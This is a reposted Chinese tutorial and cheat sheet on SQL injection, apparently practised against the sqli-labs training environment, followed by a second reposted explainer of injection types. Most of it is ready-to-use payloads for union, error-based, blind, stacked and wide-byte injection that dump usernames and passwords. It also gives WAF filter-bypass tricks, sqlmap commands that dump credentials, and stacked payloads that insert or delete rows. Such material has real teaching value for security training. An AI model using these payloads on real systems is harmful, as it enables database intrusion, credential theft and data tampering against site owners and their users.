SQL注入语句(详细)

Posted K.A.L

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入语句(详细)相关的知识,希望对你有一定的参考价值。

SQL注入原理

 

  1. 参数用户可控:前端传递给后端的参数内容是用户可以控制的

  2. 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询

当传入的id参数为1' 时,数据库执行的代码如下

select * from users where id=1'

这不符合数据库语法规范,所以会报错。当传入的ID的参数为and 1=1时,执行的语句为

select * from users where id=1 and 1=1

因为1=1为真,且where语句中id=1也为真,所以页面返回id=1相同的结果。当传入ID参数为 and1=2,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果

一、联合查询

1.判断注入点

#判断闭合符
?id=1\\
#字符型判断
?id=1' and '1'='1   #页面运行正常
?id=1' and '1'='2   #页面运行不正常
#数字型判断 
?id=1' and 1=1 -- -  #页面运行正常
?id=1' and 1=2 -- -  #页面运行不正常
注入点注入符号 
引号型注入    '   单引号注入               "双引号注入
混合型注入    ')  单引号加括号注入   ")双引号加括号注入
括号注入      )     括号注入

演示的是字符串注入,通过不同的结果返回,此网站可能存在SQL注入漏洞

2.查询字段

?id=1' 
?id=1' order by 3
?id=1' order by 4

order by查询的是改数据表的字段数量

访问id=1' order by 3结果与id=1结果相同,访问id=1' order by 4结果与id=1结果不相同

结论:字段数为3

3.确定回显点

?id=-1' union select 1,2,3

根据字段数构造语句判断回显

4.基础查询信息

#查询当前数据库
union select 1,database(),3   
#查询所有数据库
select group_concat(schema_name)  from  information_schema.schemata 
#查询指定数据库所有表数据
select group_concat(table_name)  from  information_schema.tables  where  table_schema='security'  
#查询指定数据库指定表的全部列数据
select group_concat(column_name) from information_schema.columns  where  table_schema='security'  and  table_name='users'
#查询指定数据库指定表的部分列数据
select column_name from information_schema.columns  where  table_schema='security'  and  table_name='users'  limit 0,1
#查询指定数据库指定表的指定列的字段值
select  group_concat(username,0x3a,password) from  security.users

二、报错注入

程序把错误信息输入到页面上,利用报错注入获取数据

' and updatexml(1,concat(0x7e,(select user()),0x7e),1)  -- +

1.substr()函数

使用substr函数来一段段读取输出的内容

substr("123456",1,5)   #12345

2.查询语句

查询语句与union注入相同,报错只显示一条结果

#获取 列的字段数
id=1' union select 1,2,3  #回显 you are in...
id=1' union select 1,2,3,4   
#回显 The used SELECT statements have a different number of columns     

#获取当前数据库库名
and updatexml(1,concat(0x7e,(select database()),0x7e),1)  -- +
#获取所有数据库库名
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)--+
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),32,63),0x7e),1)--+
#获取指定数据库的所有表名
and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)--+
#获取指定数据库的指定表下的列数据
and updatexml(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.column where table_schema='security' and table_name='TKbvbxDK'),1,31),0x7e),1)--+
#获取指定数据库的指定表名指定列下的字段值
and updatexml(1,concat(0x7e,substring((select group_concat(id,0x3a,flag) from security.TKbvbxDK),64,95),0x7e),1)--+

三、布尔盲注

1.length( )函数

判断数据库长度 length()

' and length(database())>=1 --+

2.substr( )函数

' and substr(database(),1,1)='t' -- +

3.ord( )函数

ord()函数:转换为ascii码

' ord(substr(database(),1,1))=115 -- +

4.查询语句

#判断数据库长度
and length(database())=8 --+
and length(database())>=9 --+
#指定字符一位一位判断截取到的字符
and substr(database(),1,1)='a' -- +
and substr(database(),2,1)='q' -- +
#使用ascii码比对截取到的字符
and ascii(substr(database()1,1))=114  -- +
and ascii(substr(database()1,1))=115  -- +
#查询表名
and substr((select  table_name  from  information_schema.tables  where  table_schema='security' limit 0,1 )='e'  -- +

四、时间盲注

GET注入由于id值本身为真,判断注入点使用and运算符

POST注入uname本身为假,判断注入点使用or运算符

判断闭合方式

and sleep(5)   -- -

判断字段数目  3

order  by  3
order  by  4

if("表达式",条件1,条件2,) if(1=2,1,0)-->0

if(length(database())>=1,sleep(5),1)

1.sleep( )延迟函数

sleep(5) #页面加载延迟5秒

if(length(database())>=1,sleep(5),1)

2.查询语句

#判断数据库名称
and if(length(database())=1,sleep(5),1)  -- - 
and if(length(database())=1,sleep(5),1)  -- - 
#使用subsre函数比对截取到的字符
and if(substr(database(),1,1)='s',sleep(5),1)  -- +
#使用ascii码比对截取到的字符
and if(ascii(substr(database(),1,1))=115,sleep(5),1)  -- +
#查询当前数据库下的表数据
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=85,sleep(5),1 -- -
#查询当前数据库下的指定表数据的列数据
and if(ascii(substr((select column_name from information_schema.columns  where  table_schema='security'  and  table_name='8LPD9XiO'  limit 0,1),1,1))=105,slepp(5),1 -- -
#查询当前数据库下的指定表数据的列数据的字段值
and  if(ascii(substr((select  group_concat(id,0x3a,flag) from security.8LPD9XiO),1,1))=115,1,sleep(5)) --+

五、堆叠注入

';select if(substr(user(),1,1)='r',sleep(3),1)%23

构造不同的时间注入语句,可以得到完整的数据库的库名,表名,字段名和具体数据

1.查询语句

#获得mysql当前用户
;select if(substr(user(),1,1)='r',sleep(3),1)%23
#获得数据库表名
;select if(substr((select  table_name  from  information_schema.tables  where  table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23

2.使用联合注入

#判断注入点  单引号注入
?id=1'  and 1=1-- - HTTP/1.1
?id=1'  and 1=2-- - HTTP/1.1
#判断字段数目  3
?id=1'  order by 3 -- - HTTP/1.1
?id=1'  order by 4 -- - HTTP/1.1  #Unknown column '4' in 'order clause'
#判断回显位  2,3
?id=-1'  union select 1,2,3 -- - HTTP/1.1
#查询当前数据库
?id=-1'  union select 1,database(),3 -- - HTTP/1.1
#查询当前数据库下所有表信息
?id=-1'  union select 1,(select  group_concat(table_name)  from  information_schema.tables  where  table_schema='security' ),3 -- - HTTP/1.1
#查询当前数据库下指定表下的列信息
?id=-1'  union select 1,(select group_concat(column_name) from information_schema.columns  where  table_schema='security'  and  table_name='users'),3 -- - HTTP/1.1

3.使用堆叠注入向user中插入数据

#插入用户密码数据
?id=1';insert into users(id,username,password) values(66,'aiyou','bucuo') --+
#插入当前数据库数据
?id=1';insert into users(id,username,password) values(67,database(),'bucuo') --+
#查询当前数据库信息下方查询方式同等    ?id=67 
----------------------------------------
#插入查询所有表的所有数据,但数据仍显示不全
?id=1';insert into users(id,username,password) values(72,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 ) ,'buuck') --+
#插入当前数据库下的指定表数据
?id=1';insert into users(id,username,password) values(71,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1) ,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1)) --+
#插入当前数据库下的指定表数据的列数据
?id=1';insert into users(id,username,password) values(74,(select column_name from information_schema.columns where table_name="users" limit 13,1) ,(select column_name from information_schema.columns where table_name="users" limit 12,1)) --+
#删除数据
?id=1';delete from users where id=74 and sleep(if((select database())=0x7365637572697479,5,0));

六.宽字节注入

1.查询语句

#判断是否存在注入
id=1%df' and 1=1%23
id=1%df' and 1=2%23
#查询字段数量   3
id=1%df' order by 3%23
id=1%df' order by 4%23  #Unknown column '4' in 'order clause'
#union注入
id=-1%df' union select 1,2,3%23
#查询当前数据库名
id=-1%df' union select 1,database(),3%23
#查询所有数据库
select group_concat(schema_name) from information_schema.schemata
#查询当前数据库部分表名
select table_name from information_schema.tables where table_schema=(select database()) limit 0,1
#查询当前数据库所有表名
select group_concat(table_name) from information_schema.tables where table_schema=(select database()) 
#查询指定数据库指定表名下的部分列名
select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1
#查询指定数据库指定表名下的所有列名
select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1)
#查询指定数据库指定表名下的所有列名的字段值
id=-1%df' union select  1,(select group_concat(id,flag) from security.GGXSsnCj),3%23

七.order by 后的注入

①直接注入语句,?sort=(select )

②利用一些函数。例如rand()函数等。?sort=rand(sql语句)

③利用and,例如?sort=1 and (sql语句)

④rand(true)和rand(false)结果是不一样的,可以利用这个性质注入

?sort=right(version(),1)

1.使用报错注入

#查询当前用户
?sort=(select extractvalue(0x7e,concat(0x7e,user(),0x7e)))
#查询当前数据库
?sort=(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))
#查询当前数据库下的部分表数据
?sort=(select extractvalue(0x7e,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e)))
#查询当前数据库下的指定表的列数据
?sort=(select extractvalue(0x7e,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='TKbvbxDK'),1,31),0x7e)))

2.使用rand(true)和rand(false)

?sort=rand(ascii(left(database(),1))=115)
?sort=rand(ascii(left(database(),1))=116)

3.使用延迟注入

#查询当前数据库
?sort=1 and (if(length(database())>2,sleep(5),1) ) -- -
#查询当前数据库下的表数据
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=100, sleep(5), 1)-- +
#查询当前数据库下的指定表数据的列数据
?sort= 1 and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))-- +

4.使用and

#查询当前数据库
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)  -- +
#查询当前数据库下的表
?sort=1 and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)  -- +

重点:常见Waf绕过方式

1.大小写绕过

and And or Or

2.双写绕过

select -----seselectlect

and-----aandnd

union-----uunionnion

3.编码绕过

Hex编码、URL编码、宽字节、Unicode编码

编码格式编码形式
URL编码%66%72%20%31%3d%31(and 1=1)
Unicode编码n%u0069on

4.空格绕过方法

/**/ 、 ()、+、%20、%09、%0a、0x0a、0x0b、0x0c、0x0d

5.等价字符以及等价函数

and or xor 的过滤

  1. and => &&

  2. or => ||

  3. xor => ^

  4. not => !

6.等价函数

hex()、 bin()==>ascii()

concat_ws()==>group_concat()

sleep()==>benchmark()

mid()、substr()==>substring()

@@user==user()

@datadir==datadir()

总结主要查询语句

#爆当前数据库
select 1,database(),3   
#爆所有数据库
select  group_concat(schema_name)  from  information_schema.schemata 
#爆所有表数据
select  group_concat(table_name)  from  information_schema.tables  where  table_schema='security'  
#爆部分表数据
select  table_name  from  information_schema.tables  where  table_schema='security' limit 0,1
#爆所有字段数据
select group_concat(column_name) from information_schema.columns  where  table_schema='security'  and  table_name='users'
#爆字段数据
select column_name from information_schema.columns  where  table_schema='security'  and  table_name='users'  limit 0,1
#爆字段值
select  group_concat(username,0x3a,password) from  security.users

SQLMAP工具的使用

第一步:判断是否存在注入点

sqlmap.py -u "http://localhost/sql/Less-1/?id=1"

 第二步:查询数据库

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --dbs

 第三步:查看当前数据库

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --current-db

 第四步:列出指定数据库的所有表

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "security" --tables

第五步:读取指定表中的字段名称

sqlmap.py -u "http://localhost/sql/Less-1/?id=1"  -D "security" -T  users --colunms

 第六步:读取指定字段内容

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "security" -T  users -C username,password --dump

sql注入详细介绍


php中文网最新课程

每日17点准时技术干货分享

1. 首先了解SQL注入的原理:

SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.(来源于百度)

也就是说网站页面包含与数据库交互的部分(例如新闻网站的查找功能),而当在网站输入数据信息,数据信息被程序化后传入数据库执行的过程中,网站的开发人员没有对这些传入数据库的相应数据做安全处理(比如过滤特殊字符、编码等),导致黑客可以将恶意代码(也就是包含非法SQL语句的SQL命令)通过网站前段传入数据库,并在数据库中执行这些具有黑客目的的SQL语句,从而造成数据库信息泄露、损坏等后果。

2. SQL注入的一般分类

按照注入点类型来分类

(1)数字型注入点

许多网页链接有类似的结构 http://www.example.com/12.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。

这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1

(2)字符型注入点

网页链接有类似的结构 http://xwww.example.com/users.php?user=admin 这种形式,其注入点 user 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where user='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。

若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where user='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。

(3)搜索型注入点

此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

3. 如可判断是否存在SQL注入(小白总结,仅供参考)

简单点讲就是:

所有的输入只要和数据库进行交互的,都有可能触发SQL注入

SQL注入按照数据提交的方式可分为:

(1)GET 注入:提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

(2)POST 注入:使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

(3)Cookie 注入:HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

(4)HTTP 头部注入:注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

了解了可能存在SQL注入的位置,然后我们需要判断在这些位置上是否能够触发SQL注入,最简单的方式就是在相应位置输入and 1=1 (以及and 1=1 的变换形式)来判断。

对于不同的注入点类型,比如字符型需要适当添加单引号,而对于数字型的注入点则不需要。

4. SQL注入的高级分类(按照执行效果分类)

(1)基于布尔的盲注:即可以根据返回页面判断条件真假的注入。

(2)基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

(3)基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

(4)联合查询注入:可以使用union的情况下的注入。

(5)堆查询注入:可以同时执行多条语句的注入。

(6)宽字节注入:利用gbk是多字节的编码,两个字节代表一个汉字

本文仅供大家学习。切勿恶意攻击他人网站。

-END-

声明:本文选自「 php中文网 」,搜索「 phpcnnew 」即可关注!

请点击下方:“阅读原文”,在线查看全部文章内容!

以上是关于SQL注入语句(详细)的主要内容,如果未能解决你的问题,请参考以下文章

Web安全之Sql注入漏洞

Web安全入门(ACCESS手工注入)

Web安全之:SQL注入攻击

网络安全学习-WEB安全常见漏洞

Web安全SQL注入[三]

网络安全之sql注入